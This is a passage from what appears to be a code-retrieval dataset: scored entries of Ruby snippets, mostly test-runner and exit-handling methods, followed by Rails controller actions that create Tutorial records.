"text": "def clean_exit\n passed = all_by_exit_status(@test_data['test_exit_status_passed'])\n failed = all_by_exit_status(@test_data['test_exit_status_failed'])\n skipped = all_by_exit_status(@test_data['test_exit_status_skipped'])\n @test_data.merge!({'execution_time' => @execution_time, 'passed' => passed, 'failed' => failed, 'skipped' => skipped})\n Publisher.new(@test_data).publish_reports\n puts(\"\\n==> DONE\\n\\n\")\n puts(\" -- execution time : #{@execution_time.to_s} secs\\n\")\n puts(\" -- tests executed : #{@executed_tests.to_s}\\n\")\n puts(\" -- reports prepared: #{@test_data['reports_dir']}\\n\")\n puts(\" -- tests passed : #{passed.length.to_s}\\n\")\n puts(\" -- tests failed : #{failed.length.to_s}\\n\")\n puts(\" -- tests skipped : #{skipped.length.to_s}\\n\")\n if @test_data['test_retry']\n puts(\" -- tests re-tried : #{@tests_retried_counter.to_s}\\n\")\n end\n if failed.length > 0\n puts(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n exit(1)\n end\n exit(0)\nend",
"title": ""
},
{
"docid": "36d0556a77274ab5bfa1fa49aec5a0f6",
"score": "0.5422842",
"text": "def is_flaw_memory_corruption\r\n if target.flaw.classification.nil?\r\n attacker_favors_true\r\n else\r\n target.flaw.classification == :write\r\n end\r\n end",
"title": ""
},
{
"docid": "9ac0e9ead52d5af22b59410684a8c767",
"score": "0.5417592",
"text": "def garbage_check(id)\n\t return false\n\tend",
"title": ""
},
{
"docid": "1aab4b5c7adc991b12ea11cba3e52a88",
"score": "0.54135156",
"text": "def test_fail\n flunk \"write tests or I will kneecap you\"\n end",
"title": ""
},
{
"docid": "4c1898880fee45c6f60eac979a745690",
"score": "0.54002476",
"text": "def kill?\n self.ability_effect < 0\n end",
"title": ""
},
{
"docid": "85a3e792795cc05fd331a5007e65212d",
"score": "0.5397609",
"text": "def ab_test_aborted!(name)\n if !browser.bot?\n ab_test_name = ('ab_test_' + name).to_sym\n test_json = ab_test_read_cookie(ab_test_name)\n if test_json && !test_json[:finished] && test_json[:id]\n test_record = test_json[:id] && AbTest.find_by(id: test_json[:id], experiment: name)\n return unless test_record # Without a record we should probably skip.\n test_record.destroy if test_record\n ab_test_save_cookie(ab_test_name, test_record, 'aborted')\n end\n end\n end",
"title": ""
},
{
"docid": "3a7f06b46c33a4913a249609859c627d",
"score": "0.5395887",
"text": "def run\n test_report = Isolation.call do\n mutation.insert\n test.run\n end\n\n Report.new(\n killer: self,\n test_report: test_report.update(test: test)\n )\n end",
"title": ""
},
{
"docid": "90a45a6880cf0224a85a18c23a0bbebd",
"score": "0.53929806",
"text": "def exit_failed; end",
"title": ""
},
{
"docid": "2e61d42ae9936ff067251837ee23160d",
"score": "0.5381407",
"text": "def healthy?() problems.blank? ; end",
"title": ""
},
{
"docid": "7118294f327f1cff51478cac6fa7d260",
"score": "0.5369235",
"text": "def only_failures; end",
"title": ""
},
{
"docid": "e6348062b93749093d899b19155c515f",
"score": "0.53680944",
"text": "def test_normally_down?\n assert_nothing_raised do\n @svdir.log\n end\n end",
"title": ""
},
{
"docid": "481c07d6dccdff5e41b34e6c437a5de3",
"score": "0.5363811",
"text": "def test_uts_at_m_007\n all = AnalyzeTool.find(:all)\n all.each do |tool|\n tool.in_use = false\n tool.save\n end unless all.blank?\n #\n assert AnalyzeTool.all_analyze_tools_with_metrics.blank?\n end",
"title": ""
},
{
"docid": "a180d4962c4ec34b4310986913871a40",
"score": "0.5340732",
"text": "def sacked_poor_performance\n\tif @warning >= 10\n\t\t\"Oh dear, your manager has lost it. Just not good enough. You\\'ve lost your job.\"\n\t\texit\n\tend\nend",
"title": ""
},
{
"docid": "c0dffe21ce5f4ae0407ead36fc8f9e1f",
"score": "0.53377813",
"text": "def warn_about_should!; end",
"title": ""
},
{
"docid": "c0dffe21ce5f4ae0407ead36fc8f9e1f",
"score": "0.53377813",
"text": "def warn_about_should!; end",
"title": ""
},
{
"docid": "9b91bb55656a8c739878ccbe2fe2c2c5",
"score": "0.5326631",
"text": "def stop_test(should_stop, str)\n return unless should_stop\n str ||= \"Test stopped for unknown reason\"\n abort str.color(:red).bright\nend",
"title": ""
},
{
"docid": "6bb7591cef64b5969dcee8f3f6868209",
"score": "0.531693",
"text": "def killed?\n @status == :killed\n end",
"title": ""
},
{
"docid": "6d401cc744e32e4028c7a9520c27ace0",
"score": "0.53155243",
"text": "def kill\n raise \"abstract\"\n end",
"title": ""
},
{
"docid": "69da0e0c6e9db72dcb217c9dad33873f",
"score": "0.531345",
"text": "def test_error_no_re\n\n pdef =\n Ruote.define do\n error :re => '$f:err'\n end\n\n wfid = @dashboard.launch(pdef)\n r = @dashboard.wait_for(wfid)\n\n assert_equal('terminated', r['action'])\n end",
"title": ""
},
{
"docid": "a500b345000521051ba63cbb47ca0b91",
"score": "0.5309249",
"text": "def tests_failed?\n return nil\n end",
"title": ""
},
{
"docid": "af6b1e8b86af717b71dade05d6fa11c5",
"score": "0.5308596",
"text": "def no_diffs\n mutations.select { |mutation| mutation.source.eql?(example.source) }\n end",
"title": ""
},
{
"docid": "96e1bb3979daea42000c07b63b8c2aad",
"score": "0.52917284",
"text": "def hung?\n bad_count == GALLOWS.length\n end",
"title": ""
},
{
"docid": "509af7ff627749744c24fe97b79b273d",
"score": "0.52914774",
"text": "def kills()\n @death\n end",
"title": ""
},
{
"docid": "f0168ab14c7346094d03aa05a89e0c42",
"score": "0.5291033",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "deca5e01605df7655cd433763b5329db",
"score": "0.52890885",
"text": "def non_example_failure; end",
"title": ""
},
{
"docid": "1e40be8f0efa5fb40d7b951cb6e5984a",
"score": "0.52879494",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "cd87244f467c13361ea6ba85a66d59a3",
"score": "0.52845407",
"text": "def test_zombies_dont_appear_if_human_doesnt_survive_unit_tests\n human_results = [:pass, :failure]\n zombies_results = [[:pass, :failure]]\n unexpected_representation = \"Z+\"\n failure_message = \"Doesn't stop after failed unmutated unit tests\"\n assert_that_representations_do_not_include(unexpected_representation, human_results, zombies_results, failure_message)\n end",
"title": ""
},
{
"docid": "b80f942aa40d00cfe984056311b75a54",
"score": "0.5280105",
"text": "def perf_teardown\n perf_result\n if push_to_bigquery?\n push_to_bigquery\n logger.info(\"Pushing perf metrics to BigQuery.\")\n else\n logger.info(\"Not pushing perf metrics to BigQuery as PUSH_TO_BIGQUERY is false.\")\n end\n end",
"title": ""
},
{
"docid": "a12775e6bf9e9215525e86f6c6b6526d",
"score": "0.527269",
"text": "def test_if_ship_has_sunk\n refute @cruiser.sunk?\n end",
"title": ""
},
{
"docid": "3d880a76175dee402cce6cd07a557d50",
"score": "0.527259",
"text": "def pbBugContestUndecided?\r\n return pbBugContestState.undecided?\r\nend",
"title": ""
},
{
"docid": "3fcc75a227c5cd0de58359677e7bc992",
"score": "0.52695704",
"text": "def test_case_6\n assert false\n end",
"title": ""
},
{
"docid": "d34aea94bca31fc043f58a330d45d821",
"score": "0.52666587",
"text": "def mocha_verify(assertion_counter = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "0da12f5bfa0b85bb6ca1a3f9a4a86b7a",
"score": "0.5260371",
"text": "def bugs_failed\n return @bug_differences if @bug_differences\n fail = []\n if self.tests and self.tests.instance_of? Array\n self.tests.each_with_index do |tst,idx|\n # unless tst.instance_of?(TestCase)\n # msg = \"Expected a test case in #{self.list_name} but got:\"\n # Rails.logger.error \"#{msg} #{tst.inspect}\"\n # puts msg; pp tst\n # msg = \"... in job:\"\n # Rails.logger.error \"#{msg} #{self.inspect}\"\n # puts msg; pp self\n # msg = \"You need to delete this Job manually from DB\"\n # Rails.logger.error msg\n # puts msg\n # next\n # end\n jobtest, differ = self.bug_different(tst)\n fail << [idx,jobtest,differ] if differ or tst['status'] == 1\n end\n end\n @bug_differences = fail\n end",
"title": ""
},
{
"docid": "535e9973bc2fa2c4a231193cf6232551",
"score": "0.5258838",
"text": "def test_do_more_math_invalid\r\n input = \"a\"\r\n val=0\r\n assert_output(\"\") {val = @arg_checker.do_more_math(input)}\r\n assert_equal [1, \"a\", 0], @arg_checker.error_data\r\n assert_equal false, val\r\n assert_equal [], @arg_checker.stack\r\n end",
"title": ""
},
{
"docid": "b0dca0881fb53eefd16d116551c5e469",
"score": "0.52491075",
"text": "def test_rubies_less_than_one\r\n assert_output(\"Going home empty-handed.\\n\"){emotionCheck(0)}\r\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.5243883",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.5243883",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "002c85eeaf2a44760bf5484937d0773b",
"score": "0.5243883",
"text": "def negative_failure_message\n \"expected following output to omit a #{tag_inspect}:\\n#{@document}\"\n end",
"title": ""
},
{
"docid": "43fcbd9551fecf8be5de0e71559ca93f",
"score": "0.5241367",
"text": "def diagnose\n # default is no-op\n end",
"title": ""
},
{
"docid": "0e27ed76988a692adb5cdf7709fe4144",
"score": "0.5235683",
"text": "def test_case_7\n assert false\n end",
"title": ""
},
{
"docid": "f72551ef866689b46b8d876d097e524b",
"score": "0.5232885",
"text": "def can_corrupt_heap_memory\r\n is_flaw_heap_memory_corruption\r\n end",
"title": ""
},
{
"docid": "ec4c96991bf1e053c85e894d257ee037",
"score": "0.5231735",
"text": "def maximum_coverage_drop(coverage_drop = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "40f401ebf5ac10bbc93335a9bf955246",
"score": "0.5225823",
"text": "def check_for_abort\n @aborted = true if rand < 0.33\n end",
"title": ""
},
{
"docid": "53b7b77bcdb3cda30f427682cb920a87",
"score": "0.5223478",
"text": "def test_uts_at_m_015 # Bug\n tool_id = 10000\n assert !AnalyzeTool.in_use?(tool_id)\n end",
"title": ""
},
{
"docid": "4d3f7ae8b887ec3aa1ec22e4fa80ff57",
"score": "0.5219147",
"text": "def only_failures?; end",
"title": ""
},
{
"docid": "5492b101dae3ec643cdd4f1b5c3211ca",
"score": "0.5210031",
"text": "def end_test\n $results.log(\"Test Analysis: #{$session.failure_count}/#{$session.action_count} test actions failed.\")\n $results.log(\"#### End of Test '#{$session.name}' ####\\n\")\n end",
"title": ""
},
{
"docid": "7cb602a428f66fccd7508b47165d3a4f",
"score": "0.5205974",
"text": "def test_kills_clean\n kills_cleanly(:personal_kills,File.join(XML_BASE,'kills.xml'))\n end",
"title": ""
},
{
"docid": "241bad68ca1ae03857754c4956ff42f3",
"score": "0.5205176",
"text": "def test_purge_unused_edgecases\n Sketchup.active_model.start_operation \"test_purge_unused_edgecases\"\n materials = Sketchup.active_model.materials\n materials.purge_unused\n pre_length = materials.length\n materials.add \"Joe\"\n materials.purge_unused\n post_length = materials.length\n assert_equal(pre_length, post_length,\n 'Failed in test_purge_unused_edgecases' )\n Sketchup.active_model.commit_operation\n Sketchup.undo\n end",
"title": ""
},
{
"docid": "db78391c97faf981f7c206f1159ebc2a",
"score": "0.52036643",
"text": "def test_emit1\n d = create_driver(CONFIG_EMIT1)\n d.run do\n sleep 3\n end\n com_ret = `free #{d.instance.option}`\n used = com_ret.split($/)[2].split(/\\s+/)[2]\n free = com_ret.split($/)[2].split(/\\s+/)[3]\n assert (d.emits[0][2][\"used\"].to_i - used.to_i).abs < 30\n assert (d.emits[0][2][\"free\"].to_i - free.to_i).abs < 30\n end",
"title": ""
},
{
"docid": "38eaadabf7a4d56bd8034e35b2030981",
"score": "0.51960355",
"text": "def done?\n killed?\n end",
"title": ""
},
{
"docid": "cebc02b19dc9965c5e73ef7d158d7140",
"score": "0.51940095",
"text": "def test_job_run_count\n skip\n end",
"title": ""
},
{
"docid": "539c83d7161733944b33e24f3983a86d",
"score": "0.5193379",
"text": "def perform_test(abort_after = true)\n smem = get_memory\n st = Time.now\n yield if block_given?\n et = (Time.now - st).round(4)\n emem = get_memory\n msgbox \"Memory Before: #{smem}\\nMemory After: #{emem}\\nMemory Difference: #{emem > smem ? \"+\" : emem < smem ? \"-\" : \"\"}#{emem - smem}\\n----------------------\\n\" +\n \"Time: #{et} seconds\"\n abort if abort_after\nend",
"title": ""
},
{
"docid": "0a9fc284618250e3fd0ef3513ee172f2",
"score": "0.51874775",
"text": "def test_case_5\n assert false\n end",
"title": ""
},
{
"docid": "580975bdb59642e35755905ae4c47dc7",
"score": "0.5186816",
"text": "def test_uts_at_m_004\n all = AnalyzeTool.find(:all)\n all.each do |tool|\n tool.in_use = false\n tool.save\n end unless all.blank?\n #\n assert AnalyzeTool.no_analyze_tool?\n end",
"title": ""
},
{
"docid": "8292baacfea3f2f4da4cb89ba74d9d9c",
"score": "0.518589",
"text": "def test_clean_exit\r\n code = 0\r\n assert_output(\"\") {@init.clean_exit(code, false)}\r\n end",
"title": ""
},
{
"docid": "0a60d12d90f16753f652532455b17e88",
"score": "0.5179444",
"text": "def expected_values_missing_populations_added_back (measure)\n assert_not_empty Record.where(user_id: @user.id, measure_ids: measure.hqmf_set_id), \"No patients for measure #{measure.cms_id} for the `expected_values_missing_populations_added_back` test!!\"\n\n # Remove the IPP and DENOM populations. Continuous variable measures have MSRPOPL (instead of DENOM)\n # For the purpose of this test removing these populations can be considered the same a new population being added\n # to a population set on the measure.\n Record.where(user_id: @user.id, measure_ids: measure.hqmf_set_id).each do |patient|\n patient.expected_values[0].reject! { |population_key| population_key == 'IPP' || population_key == 'DENOM' || population_key == 'MSRPOPL' }\n patient.save!\n end\n\n Record.where(user_id: @user.id, measure_ids: measure.hqmf_set_id).each do |patient|\n patient.update_expected_value_structure!(measure) \n assert_not patient[:expected_values].nil?, \"Patient #{patient.first} #{patient.last} for measure #{measure.cms_id} has nil `expected_values`; should be empty.\"\n\n measure.populations.each_with_index do |population_set, population_index|\n population_set_expected_values = patient[:expected_values].select { |pev| pev[:measure_id] == measure.hqmf_set_id && pev[:population_index] == population_index }.first\n assert_equal ['measure_id', 'population_index'], (population_set_expected_values.keys - measure.populations[population_index].keys), \"Patient #{patient.first} #{patient.last} for measure #{measure.cms_id} has a mismatch between their expected_values and those on the measure.\\n\\tPatient: #{population_set_expected_values.keys}\\n\\tMeasure: #{measure.populations[population_index].keys}\"\n assert_equal 0, population_set_expected_values[:IPP], \"Patient #{patient.first} #{patient.last} for measure #{measure.cms_id} does not have IPP=0 for populaton [#{population_index}].\"\n unless measure.continuous_variable\n assert_equal 0, population_set_expected_values[:DENOM], \"Patient #{patient.first} #{patient.last} for measure #{measure.cms_id} does not have DENOM=0 for populaton [#{population_index}].\"\n else\n assert_equal 0, population_set_expected_values[:MSRPOPL], \"Patient #{patient.first} #{patient.last} for measure #{measure.cms_id} does not have MSRPOPL=0 for populaton [#{population_index}].\"\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "436f0c4085072267f380d5341290f247",
"score": "0.51753163",
"text": "def test_should_not_delete_if_connected_to_project\n tracker = trackers(:tuskit)\n assert_raises(ActiveRecord::StatementInvalid) { tracker.destroy } \n end",
"title": ""
},
{
"docid": "dc5e0380d535b5a3882c2202028847c2",
"score": "0.5172222",
"text": "def skip_this_scenario(message = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "279cbcd3ad54361cf4800d3122b3ef0b",
"score": "0.51672304",
"text": "def process_exited; end",
"title": ""
},
{
"docid": "c641bbd37a7b3a5a7ac28119c11b81af",
"score": "0.5164768",
"text": "def handle_exit(result)\n return if !config.fail_fast || result.success?\n\n @mutations.clear\n end",
"title": ""
},
{
"docid": "51dde20da6602c2ec7d873a43243d32e",
"score": "0.5164515",
"text": "def test_1_to_9_rubies_defeat_msg\n lazy_miner = Prospector.new(0, @dummy_location, 0, rubies = 5, fakes = 100)\n assert_output (\"Going home sad.\\n\") {\n lazy_miner.declare_victory?\n }\n end",
"title": ""
},
{
"docid": "daec3a88275e2abe1f00109dce95176b",
"score": "0.5162661",
"text": "def test_delete_edgecases\n end",
"title": ""
},
{
"docid": "26926c931b97c21c004c25db0da75be2",
"score": "0.5158417",
"text": "def test_too_many_songs_will_fail\n # 100.times do\n # @client.post_song...\n # end\n # make sure delete songs in sandbox becaues it will screw up other tests. Is this even possible??\n end",
"title": ""
},
{
"docid": "4771b06b5f483768fcda2748ecc4c7dd",
"score": "0.5157806",
"text": "def test_end_of_day_emotions_sad\n\t\[email protected]_hunt(@rando, 1, 1)\n\t\[email protected]_prospector.total_rubies = 5\n\t\tassert_output(/Going home sad./) { @simulation.end_of_day_emotions }\n\tend",
"title": ""
},
{
"docid": "583c8a37fb16f713aac017b6eb994621",
"score": "0.51539975",
"text": "def valid_mutation?(mutation)\n unless BYTE_MUTATIONS.values.any? { |mut| mut.include?(mutation) }\n err \"Unrecognized mutation! #{mutation}\"\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "21d15ebec8e62109422b16a45ff93b2a",
"score": "0.5150797",
"text": "def test_rule_no_turns_after_finish()\n test_lost_and_finished()\n assert_raise(RuleViolationError) do\n @game.do_turn(Turn.new([1,1,1,1]))\n end\n end",
"title": ""
},
{
"docid": "89ff72a7b1dea1dc1a7fb937857b1e8e",
"score": "0.51477957",
"text": "def is_flaw_arbitrary_memory_corruption\r\n if target.flaw.corruption_region.nil? and target.flaw.classification == :write\r\n attacker_favors_true\r\n else\r\n target.flaw.corruption_region == :any\r\n end\r\n end",
"title": ""
},
{
"docid": "06ac674e8ae8fe549b38049c5dff0f56",
"score": "0.51472366",
"text": "def test_mark_dead\n # prep the test\n copies(:copy1).death_logs.each { |dl| dl.destroy}\n copies(:copy1).reload\n \n # let the test begin\n copies(:copy1).mark_dead(DeathLog::DEATH_DAMAGED, 'TEST NOTE')\n copies(:copy1).reload\n\n # Make sure the right things happened\n assert(!copies(:copy1).status?)\n assert_equal(DeathLog::DEATH_DAMAGED, copies(:copy1).death_type_id)\n assert_equal(1, copies(:copy1).death_logs.size)\n assert_equal(DeathLog::DEATH_DAMAGED, copies(:copy1).death_logs[0].newDeathType)\n assert_equal('TEST NOTE', copies(:copy1).death_logs[0].note)\n\n # Bring it back to life! (by hand)\n copies(:copy1).update_attributes(:status => true, :death_type_id => DeathLog::DEATH_NOT_DEAD)\n DeathLog.create(:newDeathType => DeathLog::DEATH_NOT_DEAD, :note => 'RESTORE', :copy => copies(:copy1))\n copies(:copy1).reload\n\n # Make sure the right things happened\n assert(copies(:copy1).status?)\n assert_equal(DeathLog::DEATH_NOT_DEAD, copies(:copy1).death_type_id)\n assert_equal(2, copies(:copy1).death_logs.size)\n assert_equal('RESTORE', copies(:copy1).death_logs[1].note)\n assert_equal('TEST NOTE', copies(:copy1).death_logs[0].note)\n\n # Kill it again, another way\n copies(:copy1).mark_dead(DeathLog::DEATH_LOST_IN_TRANSIT, 'TEST NOTE 2')\n copies(:copy1).reload\n\n # Make sure the right things happened\n assert(!copies(:copy1).status?)\n assert_equal(DeathLog::DEATH_LOST_IN_TRANSIT, copies(:copy1).death_type_id)\n assert_equal(3, copies(:copy1).death_logs.size)\n assert_equal(DeathLog::DEATH_LOST_IN_TRANSIT, copies(:copy1).death_logs[2].newDeathType)\n assert_equal('TEST NOTE', copies(:copy1).death_logs[0].note)\n assert_equal('TEST NOTE 2', copies(:copy1).death_logs[2].note)\n\n end",
"title": ""
}
] |
da68a91f540227da267171b19236c8ad
|
POST /tutorials POST /tutorials.json
|
[
{
"docid": "a553a4daefc4405af7c807462a87b577",
"score": "0.6986987",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to admin_tutorials_path, notice: 'Tutorial was successfully created.' }\n format.json { render json: @tutorial, status: :created, location: @tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "6414ef383f00ef8b8fc33ed68133eee8",
"score": "0.7624717",
"text": "def create\n @tutorial = @framework.tutorials.build(tutorial_params)\n\n if @tutorial.save\n render :show, status: :created\n else\n render json: @tutorial.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1c11fad54d0f61fbfa9ad8012239c4f5",
"score": "0.7064772",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n render :show, status: :created, location: @tutorial\n else\n render json: @tutorial.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "8925b5f338c37dbcb198f963dfcb198f",
"score": "0.6955442",
"text": "def create\n @tutorial = Tutorial.new(params[:tutorial])\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully created.' }\n format.json { render json: @tutorial, status: :created, location: @tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88113c1c097f41e3a013dc043310e73c",
"score": "0.6946632",
"text": "def create\n @tutorial = @study_course.tutorials.new(tutorial_params)\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to [:admins, @study_course], notice: 'Tutorial was successfully created.' }\n format.json { render :show, status: :created, location: [:admins, @study_course] }\n else\n format.html { render :new }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c8b37deb95245bda0874dd3cb602e2e",
"score": "0.6878823",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n @tutorial.user_id = current_user.id\n\n respond_to do |format|\n if @tutorial.save\n format.html do\n redirect_to tutorials_url,\n notice: 'Tutorial was successfully created.'\n end\n format.json do\n render json: @tutorial.to_hash(false),\n status: :created, location: @tutorial\n end\n else\n flash[:error] = @tutorial.errors.full_messages\n format.html { redirect_to tutorials_path }\n format.json do\n render json: @tutorial.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "43fa908efb6b6eebd798315c75a2d57a",
"score": "0.68681693",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n @tutorial.user_id = current_user.id\n\n respond_to do |format|\n if @tutorial.save\n format.html do\n redirect_to @tutorial,\n notice: 'Tutorial was successfully created.'\n end\n format.json do\n render json: @tutorial.to_hash(false),\n status: :created, location: @tutorial\n end\n else\n flash[:error] = @tutorial.errors.full_messages\n format.html { redirect_to tutorials_path }\n format.json do\n render json: @tutorial.errors,\n status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b08e18e6a3e503352e3622027f4f16cb",
"score": "0.684254",
"text": "def create\n @observation_tutorial = ObservationTutorial.new(params[:observation_tutorial])\n\n respond_to do |format|\n if @observation_tutorial.save\n format.html { redirect_to @observation_tutorial, notice: 'Observation tutorial was successfully created.' }\n format.json { render json: @observation_tutorial, status: :created, location: @observation_tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @observation_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abe4638d33dcb5aa5cf92d5d96e99c41",
"score": "0.6821051",
"text": "def create\n\t\t@tut = Tutorial.new(tut_params)\n\t\tif @tut.save\n\t\t\trender json: @tut, status: :created\n\t\telse\n\t\t\t render json: @tut.errors, status: :unprocessable_entity\n\t\tend \n\tend",
"title": ""
},
{
"docid": "8ec03ace739acb6aab604e0e6bb8c67b",
"score": "0.6695115",
"text": "def create\n\t\t@tutorial = current_user.tutorials.create(params[:tutorial])\n\n\t\tcurrent_user.add_role :author, @tutorial\n\t\t#@tutorial = Beautorial.new(params[:tutorial])\n\n\t\trespond_to do |format|\n\t\t\tif @tutorial.save\n\t\t\t\tformat.html { redirect_to @tutorial, notice: 'Tutorial was successfully created.' }\n\t\t\t\tformat.json { render json: @tutorial, status: :created, location: @tutorial }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @tutorial.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "58e0ec767b5ad73e92f05bd5128c05bc",
"score": "0.66946125",
"text": "def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "84f1a271240a752f71398383201a3e01",
"score": "0.6662348",
"text": "def create\n @tutorial = current_user.tutorials.build(params[:tutorial])\n # @tutorial = current_user.tutorials.new(params[:tutorial])\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, notice: 'Post was successfully created.' }\n format.json { render json: @tutorial, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1abd55d894b616f40428e9b52a2d86d3",
"score": "0.66426426",
"text": "def new\n @tutorial = Tutorial.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end",
"title": ""
},
{
"docid": "a5b97e334c07eeb431518ce78e2d1ac0",
"score": "0.6637047",
"text": "def tutorial\n @tutorials = Tutorial.where(id: params[:tutorial_id])\n head :not_found and return unless @site.user == @tutorials[0].site.user\n\n render json: render_to_string(template: 'messages/tutorial.json'), callback: @callback\n end",
"title": ""
},
{
"docid": "017e3b79f2631152412d6e8f2f88c2b9",
"score": "0.6618273",
"text": "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end",
"title": ""
},
{
"docid": "425ec961567670a79db8058c41e117d8",
"score": "0.65771645",
"text": "def create\n @academy_tutorial = Academy::Tutorial.new(academy_tutorial_params)\n\n respond_to do |format|\n if @academy_tutorial.save\n flash[:notice] = \"Tutorial criado com sucesso.\"\n format.html { redirect_to @academy_tutorial, notice: 'Tutorial criado com sucesso created' }\n format.json { render action: 'show', status: :created, location: @academy_tutorial }\n else\n format.html { render action: 'new' }\n format.json { render json: @academy_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2af7e27b03a264ed6c4a97dd24c40bf8",
"score": "0.6542416",
"text": "def create\n @tutorial = Tutorial.new(tutorial_params)\n @tutorial.user = current_user\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @tutorial }\n else\n format.html { render :new }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "26235aa655b305fd26f95a4b129fba83",
"score": "0.6525199",
"text": "def tutorial_params\n params.require(:tutorial).permit(:id, :title, :body, :category)\n end",
"title": ""
},
{
"docid": "63bd91501cfa5ca4d2cff14b8aa4ad98",
"score": "0.64937633",
"text": "def create\n authorize self\n puts \"envio de parametros\"\n puts tutorial_params\n @tutorial = Tutorial.new(tutorial_params)\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to tutoriales_path, notice: 'Tutorial se ha creado correctamente.' }\n format.json { render :show, status: :created, location: @tutorial }\n else\n format.html { render :new }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "852153c3e0306a4f4eb03d407efafaa5",
"score": "0.6478192",
"text": "def create\n @offer_tutorial = OfferTutorial.new(offer_tutorial_params)\n\n respond_to do |format|\n if @offer_tutorial.save\n format.html { redirect_to @offer_tutorial, notice: 'Offer tutorial was successfully created.' }\n format.json { render :show, status: :created, location: @offer_tutorial }\n else\n format.html { render :new }\n format.json { render json: @offer_tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3d8a2e338e907dcad3171d1fac52855",
"score": "0.6452603",
"text": "def create\n @tutorial = Tutorial.new(params[:tutorial])\n\n @tutorial.user = current_user\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, :flash=> {success: 'Tutorial was successfully created.'} }\n format.json { render json: @tutorial, status: :created, location: @tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c01a89bef05fab01fa839bae3921a4a",
"score": "0.63393515",
"text": "def tutorial_params\n params.require(:tutorial).permit(:user_id, :title, :slug, :intro, :content, :image, :published, :github, :tag_list)\n end",
"title": ""
},
{
"docid": "cbdd7ad87e804d6f8144d43d3d7e2511",
"score": "0.6327104",
"text": "def new\n @observation_tutorial = ObservationTutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation_tutorial }\n end\n end",
"title": ""
},
{
"docid": "652eb36eb63b05b1e9699493fbad7822",
"score": "0.63261974",
"text": "def create\n @tutorial = Tutorial.new(params[:tutorial])\n authorize! :manage, @tutorial, :message => 'Not authorized to do this action.'\n\n @tutorial.user = current_user\n\n respond_to do |format|\n if @tutorial.save\n format.html { redirect_to @tutorial, notice: 'Tutorial was successfully created.' }\n format.json { render json: @tutorial, status: :created, location: @tutorial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f02e91b9dc8d4b4098f0f064cdf5230c",
"score": "0.626409",
